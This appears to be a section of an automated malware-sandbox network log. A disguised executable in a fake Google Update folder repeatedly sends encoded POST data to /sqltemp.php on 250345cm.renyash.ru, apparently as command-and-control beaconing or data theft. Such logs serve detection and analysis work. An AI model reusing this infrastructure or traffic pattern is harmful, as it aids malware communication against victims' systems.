Jan 1, 2025 16:03:25.438642979 CET	1964	OUT	Data Raw: 53 55 5f 53 54 5c 51 50 58 56 52 59 56 5f 59 54 5b 59 54 5d 55 55 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SU_ST\QPXVRYV_YT[YT]UUPXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y'=#,"$<.:7>3(>Y!17](;E1/R:&Y.,Y-9
Jan 1, 2025 16:03:25.548192978 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:25.801918983 CET	954	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0%2FluDovXkstYOxLhlQvjislLveS6acTSi6lOpO9YWneuYkRd0QrrmxhhZekb4NqvDX1N128rxtpLgOZ87WkytFKm8SoBJy9a9brqF%2BkD8mFLJaWscyd7oznyBDb2MIUCQcKGzE%2BE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365605a73c407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3061&min_rtt=1472&rtt_var=3731&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=102903&cwnd=196&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 26 09 29 3e 2d 0f 26 54 30 10 2b 13 20 0b 26 2d 31 02 29 3b 31 00 26 3d 27 11 3e 5f 3c 02 35 2c 07 58 31 38 0d 00 37 5b 24 01 27 24 2b 59 05 1c 23 1c 22 59 28 58 3d 03 38 04 25 3f 0c 05 33 2e 0e 1b 2b 2b 30 1e 22 28 20 07 33 2d 3c 5d 29 03 37 0a 26 3c 01 5f 2e 01 25 1d 24 10 2c 54 00 11 26 55 25 31 16 5d 23 24 3b 02 35 21 29 5b 25 0a 04 53 25 02 3b 54 23 29 25 06 32 0b 23 58 23 20 21 07 25 2b 25 5b 34 3e 2f 1a 28 2e 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98&)>-&T0+ &-1);1&='>_<5,X187[$'$+Y#"Y(X=8%?3.++0"( 3-<])7&<_.%$,T&U%1]#$;5!)[%S%;T#)%2#X# !%+%[4>/(.%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	62737	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:25.203449011 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:25.548065901 CET	1124	OUT	Data Raw: 53 50 5f 51 51 58 51 57 58 56 52 59 56 5e 59 55 5b 58 54 58 55 58 50 54 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SP_QQXQWXVRYV^YU[XTXUXPTZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$?:7?!_0-?E/7/(_?V)><X 2#Z+%<'-:&Y.,Y-
Jan 1, 2025 16:03:25.647399902 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:25.817183971 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=98EcbIoHvi6%2Bgh7dBzrLSiTKxCMv3DiHbg0cF6D3VHH8H09l19I0wmtVVOWuApOpDpxXqe3OwT2zcHBVB66GkBtKflGisQd4zfM4dw%2FKN8qkCI5KOVy0MkpT0gSPhDnPGTAXvBso"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365610a4a0f80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3862&min_rtt=1479&rtt_var=5321&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=71066&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	62738	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:25.940326929 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:26.297955990 CET	1124	OUT	Data Raw: 56 53 5a 57 54 51 54 57 58 56 52 59 56 5e 59 55 5b 52 54 50 55 58 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VSZWTQTWXVRYV^YU[RTPUXPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.$) !_3>;C.:W ><Z)=(]#?(!A1/#V-:&Y.,Y-
Jan 1, 2025 16:03:26.384270906 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:26.567681074 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MMFkEiE31746LEZ%2F1JPPrj47SXDqyd0OMR60xbJ5AHM8WQ0O2ugPzQFbDJabxj6oFcQUvaXO%2BwAf0ndPgyA7cmG8ghdahrx%2BTjk%2F0ABwRR0JhbInG3r5S8jNHrbaiUsR6Vx8wCNL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3656598e94308-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2460&min_rtt=1777&rtt_var=2033&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=201490&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	62739	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:26.689188004 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:27.070770025 CET	1124	OUT	Data Raw: 53 57 5f 5c 54 50 54 50 58 56 52 59 56 51 59 52 5b 5e 54 5d 55 5a 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SW_\TPTPXVRYVQYR[^T]UZPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-&/-X ,-^0.D/=W >$^?+RX$X 17]+"2Y<.:&Y.,Y-
Jan 1, 2025 16:03:27.143794060 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:27.424130917 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PRm1K7v%2BJXz6eJyS1YTYGpAFVeDbE%2Fj%2F%2B6KFoAxC6IXAvTtOq6aZL3szgcTewKu9dLSdpq%2F63DoikXo5Mid5zsvX19a%2B4YvvTyrM2iHCaPBbHhDcsB8Om0xnVwIGs2I3147jpzvl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3656a5e738c1e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4589&min_rtt=1983&rtt_var=5956&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=63942&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	62740	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:27.550111055 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:27.907294035 CET	1124	OUT	Data Raw: 56 53 5f 52 51 5d 54 50 58 56 52 59 56 51 59 5f 5b 59 54 5d 55 5f 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VS_RQ]TPXVRYVQY_[YT]U_P[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.3<94%_0.?D,9#-3?:;)'4",+]=A% -&Y.,Y-
Jan 1, 2025 16:03:28.022033930 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:28.201001883 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QECwCsWnbW4QVAdZ7H%2BN0PzVRcABeyTsnQOf57988IlIenQYaxfbmbMRHLKfIifhTjK7QjEokqL%2BSWob6Ce%2FfzR7r7h%2FD%2Fo8mxTJccPZBnaIok9uDgNxYL%2BMY%2F26kn0kQkoCkAvM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3656fd8be187d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4597&min_rtt=1473&rtt_var=6801&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=55163&cwnd=151&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	62741	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:28.329705000 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:28.688607931 CET	1124	OUT	Data Raw: 56 55 5f 54 54 51 51 52 58 56 52 59 56 5a 59 53 5b 5b 54 5d 55 5a 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VU_TTQQRXVRYVZYS[[T]UZPXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.0>",&%>?/>#[ _:7W> $?%B%,*&Y.,Y--
Jan 1, 2025 16:03:28.776361942 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:29.030249119 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bk1v5Yobxvq6pgmi96Ps%2FryGkIaF2wqV4MJ2qqhCd%2F7iuoLbhceLQgD1V9ial8vg%2Bdt0Tf82FW3kwHwjptADcvSmg7NAB1%2FaKlcDMOfFihGNtz7Rd%2BpXtz8jDdpru7MLpjiNDlvV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365748ea542d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2586&min_rtt=1744&rtt_var=2339&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=172027&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	62742	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:29.162441969 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:29.516829014 CET	1124	OUT	Data Raw: 53 53 5f 5c 51 58 51 51 58 56 52 59 56 5d 59 56 5b 5a 54 59 55 5e 50 55 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SS_\QXQQXVRYV]YV[ZTYU^PUZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-'-X#X3X;,)-R#[$**'T)$X7T3Y?(!B2/:&Y.,Y-1
Jan 1, 2025 16:03:29.606937885 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:29.867603064 CET	813	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xQefpbUCx%2BbwYC3EAHckSHMvtmcpAaua2bIngCUHB8AG%2ByZ038xc0S6y2a0HpW0y08XH97l7j67E%2BfimslTWEWsq%2F7gmiFz2DJBK1bpzEY%2Bn3%2BUkUVubP4GmYnZsjR%2B66nCr1Zwo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36579cc0a41e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1986&min_rtt=1767&rtt_var=1102&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=414066&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	62743	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:29.985847950 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:30.344861031 CET	1124	OUT	Data Raw: 56 56 5f 53 51 5f 54 54 58 56 52 59 56 5a 59 53 5b 5e 54 5e 55 58 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VV_SQ_TTXVRYVZYS[^T^UXP[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.3?="/"$'E8W7=<_<9)-(\#+[(=2<::&Y.,Y--
Jan 1, 2025 16:03:30.429852009 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:30.602660894 CET	813	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mOwLQ3lRDU1nNmqU15UvqTpj1%2FBSxv9RvNXQy6R3BYlBoGRS4%2B%2FGpLZmk2JzQVMw8g%2FNH5oDEoTG5%2FCvwl5JCakY1H8TqZRXm2h%2B3hDq8dC1chkpRwdLGpHNShZIxldMD%2FhtaClC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3657eee460f9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2549&min_rtt=1696&rtt_var=2343&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=171220&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	62744	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:30.721527100 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	62745	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:30.831120014 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:31.188606977 CET	1964	OUT	Data Raw: 53 54 5a 57 51 58 54 54 58 56 52 59 56 5b 59 50 5b 58 54 51 55 55 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: STZWQXTTXVRYV[YP[XTQUUPXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.[3,=#!]0> /*> [$(7>>?#2+(;%A2?#U9:&Y.,Y-)
Jan 1, 2025 16:03:31.271480083 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:31.575083971 CET	954	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sTPrcZdTH9RzEVpWsjACYQBYSselUe4SRII04qo4w9Y4RLKiIZW0J%2FrtCl64dvbj3ItuMsUgV1JSNwgsqod5chRMnuvzb%2BPcj9siX7SmqD9aDhjAmVI22txAm%2FjoQ8N3QKQhHvXo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36584294143bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3003&min_rtt=1798&rtt_var=3085&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=127577&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 54 29 13 0c 1e 25 54 2c 1e 3c 04 33 57 31 58 31 00 29 28 0b 01 27 58 3c 02 3d 3a 3f 5b 21 3f 31 13 26 38 24 5f 23 3d 3b 5e 24 0e 2b 59 05 1c 23 18 21 3f 3c 12 29 13 38 06 26 01 26 02 30 3e 2f 05 28 01 2f 0c 34 15 01 10 24 2e 37 03 29 04 20 1e 24 3c 05 5b 39 06 2d 1f 30 00 2c 54 00 11 26 57 24 31 19 01 20 0e 3c 12 21 0f 13 1d 24 24 29 0e 32 3c 3f 16 37 17 3e 59 31 31 3f 59 22 55 3e 11 32 38 22 03 37 5b 2c 0b 3d 2e 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%T)%T,<3W1X1)('X<=:?[!?1&8$_#=;^$+Y#!?<)8&&0>/(/4$.7) $<[9-0,T&W$1 <!$$)2<?7>Y11?Y"U>28"7[,=.%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	62746	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:30.957109928 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:31.313563108 CET	1124	OUT	Data Raw: 56 56 5f 57 51 58 54 56 58 56 52 59 56 58 59 5e 5b 5a 54 50 55 55 50 5d 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VV_WQXTVXVRYVXY^[ZTPUUP]Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-3/64?'>@,:)R [8+90>'#!4(+*%Y<.&Y.,Y-%
Jan 1, 2025 16:03:31.411168098 CET	25	IN	HTTP/1.1 100 Continue
